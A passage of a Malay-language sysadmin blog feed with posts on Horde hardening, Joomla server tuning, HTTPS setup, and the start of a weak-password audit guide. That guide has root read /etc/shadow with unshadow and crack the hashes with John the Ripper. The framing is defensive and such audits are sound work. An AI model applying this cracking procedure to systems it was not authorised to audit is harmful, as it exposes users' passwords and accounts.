horde telah berfungsi dengan baik atau tidak. Setelah ianya berfungsi dengan baik, maka disable akses kepada fail tersebut. Untuk melaksanakannya sila laksanakan command berikut :&lt;br /&gt;&lt;br /&gt;$ chmod a-rwx /home/httpd/html/horde/test.php&lt;br /&gt;$ chmod a-rwx /home/httpd/html/horde/*/test.php&lt;br /&gt;&lt;br /&gt;&lt;b&gt;6. Preventing Apache from serving configuration and source files&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Fail konfigurasi Horde mengandungi pelbagai data sulit ( kata laluan database). Direktori lain juga mengandungi PHP Source code yang tidak sepatutnya dipaparkan kepada pengguna biasa. Horde group telah menyediakan fail .htaccess dalam pelbagai direktori untuk membantu menghalang akses kepada fail tersebut. Walaubagaimanapun, ianya bergantung kepada pemilik server sendiri bagi yang hosting di luar kerana ianya terdapat isu dari segi prestasi server dan juga sesetengahnya tidak membenarkan penggunaannya kerana banyak isu keselamatan.&lt;br /&gt;&lt;br /&gt;Site Apache juga boleh menghalang web server dari membenarkan akses kepada fail-fail tersebut dengan memasukkan section berikut ke dalam httpd.conf mengikut contoh berikut :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span id="goog_332805527"&gt;&lt;/span&gt;&lt;span id="goog_332805528"&gt;&lt;/span&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/TSGd1BPwhAI/AAAAAAAAAq4/Xk20Vpw7U-A/s1600/horde1.JPG" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/TSGd1BPwhAI/AAAAAAAAAq4/Xk20Vpw7U-A/s400/horde1.JPG" width="381" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ulangi kaedah tersebut pada setiap Horde application. Sebagai contoh untuk IMP seperti berikut :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/TSGd1-LcMFI/AAAAAAAAAq8/tG78SG0_ZvI/s1600/horde2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://3.bp.blogspot.com/_Pk16G7RhVRE/TSGd1-LcMFI/AAAAAAAAAq8/tG78SG0_ZvI/s400/horde2.JPG" width="366" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;7. Setup scripts&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Terdapat pelbagai skrip yang digunakan untuk setup dan configure Horde. Sekiranya web server dibenarkan akses oleh pelbagai pengguna lain, anda perlu pastikan kawalan dibuat pada fail tersebut. Dalam Unix, kita boleh tetapkan akses kepada fail tersebut hanya kepada pengguna root sahaja dengan comman berikut :&lt;br /&gt;&lt;br /&gt;$ chown -R root /home/httpd/html/horde/scripts&lt;br /&gt;$ chown -R root /home/httpd/html/horde/*/scripts&lt;br /&gt;$ chmod -R go-rwx /home/httpd/html/horde/scripts&lt;br /&gt;$ chmod -R go-rwx /home/httpd/html/horde/*/scripts&lt;br /&gt;&lt;br /&gt;&lt;b&gt;8. Using a chroot web server setup&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Pengguna Unix boleh menggunakan chroot jail untuk mengekang sebarang perubahan kepada fail selain dari folder berkenaan. Bagi tujuan konfigurasinya boleh rujuk :&lt;br /&gt;&lt;br /&gt;http://www.cyberciti.biz/tips/chroot-apache-under-rhel-fedora-centos-linux.html&lt;br /&gt;&lt;br /&gt;&lt;b&gt;9. Hiding PHP info from the user&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Anda perlu pastikan konfigurasi mengikut PHP variable berikut di dalam php.ini bagi menghalang kebocoran maklumat kepada pengguna biasa :&lt;br /&gt;&lt;br /&gt;expose_php = Off&lt;br /&gt;display_errors = Off&lt;br /&gt;log_errors = On&lt;br /&gt;register_globals = Off&lt;br /&gt;&lt;br /&gt;Anda perlu tetapkan error loggin (menggunakan PHP error_log variable) untuk log kepada fail, syslog, atau destinasi log lain.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;10. Using a secure web server&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Horde amat bergantung kepada transaksi maklumat sensitif ( kata laluan dan maklumat session) antara web server dan web client. Penggunaan SSL web server amat membantu untuk melindungi maklumat tersebut apabila melalui rangkaian.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;11 Using a secure POP3/IMAP server&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Sekiranya anda menggunakan POP3/IMAP server dengan Horde, maka Horde akan menghantar maklumat login diantara web server dan mail server.&lt;br /&gt;&lt;br /&gt;Sekiranya web server dan IMAP Server dalam satu host yang sama, anda boleh tingkatkan kawalan keselamatan dengan menetapkan semua aliran trafik perlulah hanya melalui loopback atau localhost interface sahaja agar ianya tidak akan terdedah ke dalam rangkaian.&lt;br /&gt;&lt;br /&gt;Dalam sesetengah kes, yang mana ianya tidak boleh dilakukan maka gunakan secure mail connection seperti IMAP-SSL atau POP3-SSL untuk memastikan kata laluan seIn cases where that is not possible, we recommend using a secure mail connection such as IMAP-SSL or POP3-SSL to ensure that passwords remain safe.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;12. LDAP Security&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Kawalan keselamatan LDAP sama seperti dibuat pada POP3/IMAP. Anda perlu pastikan password ldap atau maklumat penting berkenaan LDAP Database tidak didedahkan.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;13 Database socket security&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Sekiranya database anda (cth:&amp;nbsp; MySQL atau PostgreSQL) adalah pasa server yang sama dengan web server anda, seeloknya gunakan unix sockets berbanding tcp connections untuk membantu meningkatkan kawalan keselamatan server (dan juga pertingkat prestasi Horde). Sekiranya ia tidak support unix sockets, anda boleh capai kawalan keselamatan lebih baik dengan menetapkan tcp untuk support loopback atau capaian menggunakan localhost sahaja.&lt;br /&gt;&lt;br /&gt;Sekiranya database menetapkan socket fail (cth : mysql.sock) di dalam direktori seperti /tmp atau /var/tmp, anda perlu tetapkan permission dengan baik agar local user (jika ada) tidak boleh delete fail tersebut. Anda perlu pastikan fail socket tersebut tidak boleh writable oleh pengguna lain atau pengguna lain boleh delete fail tersebut.&lt;br /&gt;&lt;br /&gt;Anda boleh juga pindahkan socket fail tersebut kepada direktori lain seperti /var/run atau top level direktori pada sistem database anda (cth : /var/lib/mysql atau /var/lib/pgsql).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;14 Sendmail or SMTP considerations&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Dalam sesetengah keadaan, anda boleh tambahkan kawalan keselamatan dengan menghantar emel menggunakan program local command line sendmail pada web server anda berbanding menggunakan SMTP. Bagaimanapun kadang2 ada sebabnya perlu menggunakan SMTP supaya dapat menapis spam atau virus sebelum dihantar kepada penerima emel. Ini kerana local sendmail akan skip semua tu.&lt;br /&gt;&lt;br /&gt;Nota ni aku rujuk dari sini dan diterjemahkan dengan bahasa mudah untuk orang kita :&lt;br /&gt;http://www.horde.org/horde/docs/?f=SECURITY.htm&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-5327130198429978459?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/5327130198429978459/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=5327130198429978459&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5327130198429978459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5327130198429978459'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/11/horde-day.html' title='Horde Day'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Pk16G7RhVRE/TSGcswlJJaI/AAAAAAAAAq0/6D6vArEiXQU/s72-c/Horde_Plesk_IMAP_email_problem-180x160.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-2363417161130757151</id><published>2010-12-21T14:41:00.004+08:00</published><updated>2010-12-21T21:57:02.506+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Free'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><title type='text'>How to speed up Public Access to Your Joomla Portal</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/TRBMAOuvZsI/AAAAAAAAAqk/lqh0z170LWA/s1600/tune.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="425" n4="true" src="http://3.bp.blogspot.com/_Pk16G7RhVRE/TRBMAOuvZsI/AAAAAAAAAqk/lqh0z170LWA/s640/tune.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;Tips ni hanya untuk pengguna Linux sahaja.&lt;br /&gt;OS : CentOS 5.x / RHEL 5.3&lt;br /&gt;Web Server : Apache 2.x&lt;br /&gt;Database Server : MySQL 5.x&lt;br /&gt;Web Application : Joomla&lt;br /&gt;Number of&amp;nbsp; VHOST : 18&lt;br /&gt;&lt;br /&gt;Aku cari dan try2 juga bermacam kaedah untuk tune web server sebab bukan semuanya disebabkan oleh RAM dan CPU perlu naiktaraf sahaja. Ada banyak punca lain yang boleh dibuat untuk melaksanakannya.&lt;br /&gt;&lt;br /&gt;Kebanyakan kita memang selalu gunakan saja apa yang default konfigurasi pada servis yang digunakan di server. Tanggapan itu ok bagi small web application, tapi kalau untuk pelaksanaan web application yang besar atau mempunyai banyak host, anda perlu tune server tu untuk menepati kapasiti yang diperlukan.&lt;br /&gt;&lt;br /&gt;Langkahnya :&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Load balancing on services&amp;nbsp;tuning :&lt;/b&gt;&lt;br /&gt;1) Pecahkan database server dan application server ke dalam server yang berbeza&lt;br /&gt;- untuk mengurangkan load server apabila pelbagai host melaksanakan proses menggunakan apache dan mysql bagi melayan permintaan pengguna luar pada masa yang sama dan dalam satu server sahaja. Jadi elok dipecahkan kedua-duanya ni.&lt;br /&gt;Security Tuning :&lt;br /&gt;2) Langkah2 tuning keselamatan perlulah dilaksanakan di kedua-dua server tersebut mengikut kaedah yang ada aku terangkan dalam artikel terdahulu.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;OS Tuning :&lt;/b&gt;&lt;br /&gt;3) Tetapkan share memory OS agar mampu untuk tampung pengguna yang ramai kepada server pada satu-satu masa. Buka file /etc/sysctl.conf&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------------------------&lt;br /&gt;#Jika share memory ditetapkan adalah 512MB&lt;br /&gt;kernel.shmall = 536870912&lt;br /&gt;kernel.shmmax = 536870912&lt;br /&gt;fs.file-max = 16384&lt;br /&gt;-------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;b&gt;MySQL tuning : &lt;/b&gt;&lt;br /&gt;4) Laksana tuning pada server mysql. Buka fail /etc/my.cnf&lt;br /&gt;Konfigurasi untuk huge server (mempunyai banyak database dan bersaiz besar). Sesuai untuk jumlah pengguna yang akses ke server tersebut &amp;gt; 200 pada satu-satu masa.&lt;br /&gt;-------------------------------------------------------------------------------------------------&lt;br /&gt;[mysqld]&lt;br /&gt;key_buffer = 64M&lt;br /&gt;sort_buffer = 1M&lt;br /&gt;join_buffer = 1M&lt;br /&gt;max_allowed_packet = 8M&lt;br /&gt;max_heap_table_size = 16M&lt;br /&gt;table_cache = 1024&lt;br /&gt;sort_buffer_size = 8M&lt;br /&gt;read_buffer_size = 1M&lt;br /&gt;read_rnd_buffer_size = 768K&lt;br /&gt;myisam_sort_buffer_size = 48M&lt;br /&gt;thread_cache_size = 512&lt;br /&gt;query_cache_type = 1&lt;br /&gt;query_cache_limit = 4M&lt;br /&gt;query_cache_size = 64M&lt;br /&gt;tmp_table_size = 16M&lt;br /&gt;# Try number of CPU's*2 for thread_concurrency&lt;br /&gt;thread_concurrency = 4&lt;br /&gt;&lt;br /&gt;max_write_lock_count = 1 &lt;br /&gt;#To force MySQL to temporarily elevate the priority of all SELECT statements that are waiting for a table after a specific number of inserts to the table occur. This allows READ locks after a certain number of WRITE locks.&lt;br /&gt;&lt;br /&gt;low_priority_updates = 1&lt;br /&gt;&lt;br /&gt;[isamchk]&lt;br /&gt;key_buffer = 64M&lt;br /&gt;sort_buffer = 64M&lt;br /&gt;read_buffer = 16M&lt;br /&gt;write_buffer = 16M&lt;br /&gt;&lt;br /&gt;[myisamchk]&lt;br /&gt;key_buffer = 64M&lt;br /&gt;sort_buffer = 64M&lt;br /&gt;read_buffer = 16M&lt;br /&gt;write_buffer = 16M&lt;br /&gt;------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Apache tuning :&lt;/b&gt;&lt;br /&gt;5) Ada tips suh guna php fastcgi...ianya sebenarnya sama macam apache module juga. Cuma banyak sangat perubahan kena buat jadi aku tak berani dan tanak amik risiko. Lagipun ada yang dah guna dan uji sebenarnya antara guna apache module dan php fastcgi tu perbezaannya tak ketara. Hanya sikit peningkatan apabila gunakan PHP fastcgi. So aku amik keputusan gunakan memcached untuk improve performance server tu. Memcached sesuai untuk web server dinamik, yang mana data dipaparkan disimpan dalam database.&lt;br /&gt;&lt;br /&gt;Dalam Apache ada 2 jenis module prefork dan module worker. By default module prefork di tetapkan pada server apache. Module prefork digunakan untuk server unix yang mempunyai single atau duo processor. Manakala jika server menggunakan multi processor, maka elok guna module worker yang dikhususkan untuk handle multi thread.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Install memcached dahulu :&lt;br /&gt;#&amp;nbsp;yum install memcached&lt;br /&gt;&lt;br /&gt;Ubah fail /etc/sysconfig/memcached seperti berikut :&lt;br /&gt;&lt;br /&gt;PORT="11211"&lt;br /&gt;USER="nobody"&lt;br /&gt;MAXCONN="1024"&lt;br /&gt;CACHESIZE="256"&lt;br /&gt;OPTIONS=""&lt;br /&gt;&lt;br /&gt;Install PHP memcache.so :&lt;br /&gt;# yum install php-memcache&lt;br /&gt;&lt;br /&gt;Enablekan/tambahkan di dalam fail /etc/php.ini : &lt;br /&gt;&lt;br /&gt;extension=memcache.so&lt;br /&gt;&lt;br /&gt;Restart httpd&lt;br /&gt;&lt;br /&gt;Overall tuning :&lt;br /&gt;6) Restart server tu lepas semua di atas siap dilaksanakan.&lt;br /&gt;# shutdown -r now&lt;br /&gt;&lt;br /&gt;InsyaAllah berjaya, sebelum ni untuk akses ke server joomla amik masa dalam dekat 1 minit lebih untuk keluarkan paparan main page. Tapi lepas laksanakan kaedah ni ia menurun kepada &amp;lt;15 saat sahaja untuk paparkannya.&lt;br /&gt;&lt;br /&gt;~&amp;nbsp;Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-2363417161130757151?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/2363417161130757151/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=2363417161130757151&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2363417161130757151'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2363417161130757151'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/12/how-to-speed-up-public-access-to-your.html' title='How to speed up Public Access to Your Joomla Portal'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Pk16G7RhVRE/TRBMAOuvZsI/AAAAAAAAAqk/lqh0z170LWA/s72-c/tune.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-4418870972729523820</id><published>2010-12-06T18:00:00.000+08:00</published><updated>2010-12-06T18:00:33.791+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><title type='text'>10 step to setup HTTPS Server</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/TPy0H6p5q0I/AAAAAAAAAqg/_sBP8IY565c/s1600/https-background.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="277" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/TPy0H6p5q0I/AAAAAAAAAqg/_sBP8IY565c/s400/https-background.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Berikut adalah langkah-langkah yang perlu dilakukan untuk menjadikan web server kita akses secara https sahaja.&lt;br /&gt;&lt;br /&gt;1) Install mod_ssl dan openssl&lt;br /&gt;# yum install mod_ssl openssl&lt;br /&gt;&lt;br /&gt;2) # Cipta private key &lt;br /&gt;# openssl genrsa -out ca.key 1024 &lt;br /&gt;&lt;br /&gt;3) # Cipta CSR &lt;br /&gt;# openssl req -new -key ca.key -out ca.csr&lt;br /&gt;&lt;br /&gt;4) Cipta Self Signed Key&lt;br /&gt;# openssl x509 -req -days 365 -in ca.csr -signkey ca.key -out ca.crt&lt;br /&gt;&lt;br /&gt;5) Salin semua fail ke lokasi yang betul berikut :&lt;br /&gt;# cp ca.crt /etc/pki/tls/certs&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6)  Salin semua fail ke lokasi yang betul berikut :&lt;br /&gt;# cp ca.key /etc/pki/tls/private/ca.key&lt;br /&gt;&lt;br /&gt;7)&amp;nbsp; Salin semua fail ke lokasi yang betul berikut : &lt;br /&gt;# cp ca.csr /etc/pki/tls/private/ca.csr&lt;br /&gt;&lt;br /&gt;8)&amp;nbsp; Edit fail ssl.conf :&lt;br /&gt;# nano +/SSLCertificateFile /etc/httpd/conf.d/ssl.conf&lt;br /&gt;Cari line berikut dan ubah kepada berikut :&lt;br /&gt;&lt;br /&gt;SSLCertificateFile /etc/pki/tls/certs/ca.crt&lt;br /&gt;SSLCertificateKeyFile /etc/pki/tls/private/ca.key &lt;br /&gt;&lt;br /&gt;9) Edit fail httpd.conf :&lt;br /&gt;Cari line berikut dan ubah kepada berikut :&lt;br /&gt;#Listen 80&lt;br /&gt;&lt;br /&gt;10 ) Restart httpd :&lt;br /&gt;# /etc/init.d/httpd restart&lt;br /&gt;&lt;br /&gt;Kan senang dah siap...cuma certificate yang dicipta tu bukanlah cert yang universal valid. Nak guan yang valid kena daftar di DigiCERT.&lt;br /&gt;&lt;br /&gt;Selamat Mencuba!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-4418870972729523820?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/4418870972729523820/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=4418870972729523820&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4418870972729523820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4418870972729523820'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/12/10-step-to-setup-https-server.html' title='10 step to setup HTTPS Server'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/TPy0H6p5q0I/AAAAAAAAAqg/_sBP8IY565c/s72-c/https-background.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-3971828898113390718</id><published>2010-11-30T18:22:00.003+08:00</published><updated>2010-11-30T18:26:24.313+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><title type='text'>Check For Weak Unix User's Password</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pk16G7RhVRE/TPTQIoqKx3I/AAAAAAAAAqQ/aTYUZAMpCB0/s1600/jack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/TPTQIoqKx3I/AAAAAAAAAqQ/aTYUZAMpCB0/s1600/jack.jpg" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div align="CENTER" style="margin-bottom: 0in;"&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;Ni aku copy dari garis panduan keselamatan ICT yang aku buat untuk agensi tempat aku kerja untuk dikongsi bersama.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&lt;/span&gt; &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;GARIS PANDUAN KENALPASTI KATA LALUAN LEMAH BAGI PENGGUNA UNIX / LINUX&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table cellpadding="4" cellspacing="0"&gt;&lt;col width="256*"&gt;&lt;/col&gt;  &lt;tbody style="background-color: white; color: white;"&gt;&lt;tr&gt;   &lt;td bgcolor="#000000" style="border: 1px solid rgb(0, 0, 0); padding: 0.04in;" valign="TOP" width="100%"&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;Lokasi    Fail Linux Server&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;/usr/bin/unshadow&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;  – &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Perisian  untuk unshadow fail menyimpan maklumat pengguna dan kata laluan unix&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;/etc/passwd&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;  – &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Menyimpan  maklumat pengguna dan kata laluan unix&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;/etc/shadow&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;  - &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Menyimpan  maklumat pengguna dan kata laluan unix&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table cellpadding="4" cellspacing="0"&gt;&lt;col width="256*"&gt;&lt;/col&gt;  &lt;tbody style="background-color: white; color: white;"&gt;&lt;tr&gt;   &lt;td bgcolor="#000000" style="border: 1px solid rgb(0, 0, 0); padding: 0.04in;" valign="TOP" width="100%"&gt;&lt;div align="JUSTIFY"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;Langkah    Mengenalpasti Kata Laluan Lemah&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Penerangan ini hanya bagi server yang tidak menggunakan root sebagai login utama untuk SSH. Jika login root digunakan, ubah dari user kepada root dalam tatacara ini.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Server  yang ingin laksana brute force crack perlulah dibuat instalasi  perisian John the Ripper Password Cracking Tool&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;#  yum install john&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Login  ke server &lt;span style="font-weight: normal;"&gt;(&lt;/span&gt;&lt;span style="font-weight: normal;"&gt;10.10.10.&lt;/span&gt;&lt;span style="font-weight: normal;"&gt;xx)  &lt;/span&gt;menggunakan pengguna server &lt;b&gt;(cth : user1)&lt;/b&gt; melalui SSH.  Kemudian login sebagai pengguna root dengan menaip &lt;b&gt;# su&lt;/b&gt;  seterusnya diikuti kata laluan pengguna root.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Buat  salinan fail pengguna dan kata laluan unix menggunakan perisian  unshadow &lt;/span&gt;&lt;/span&gt;  &lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: 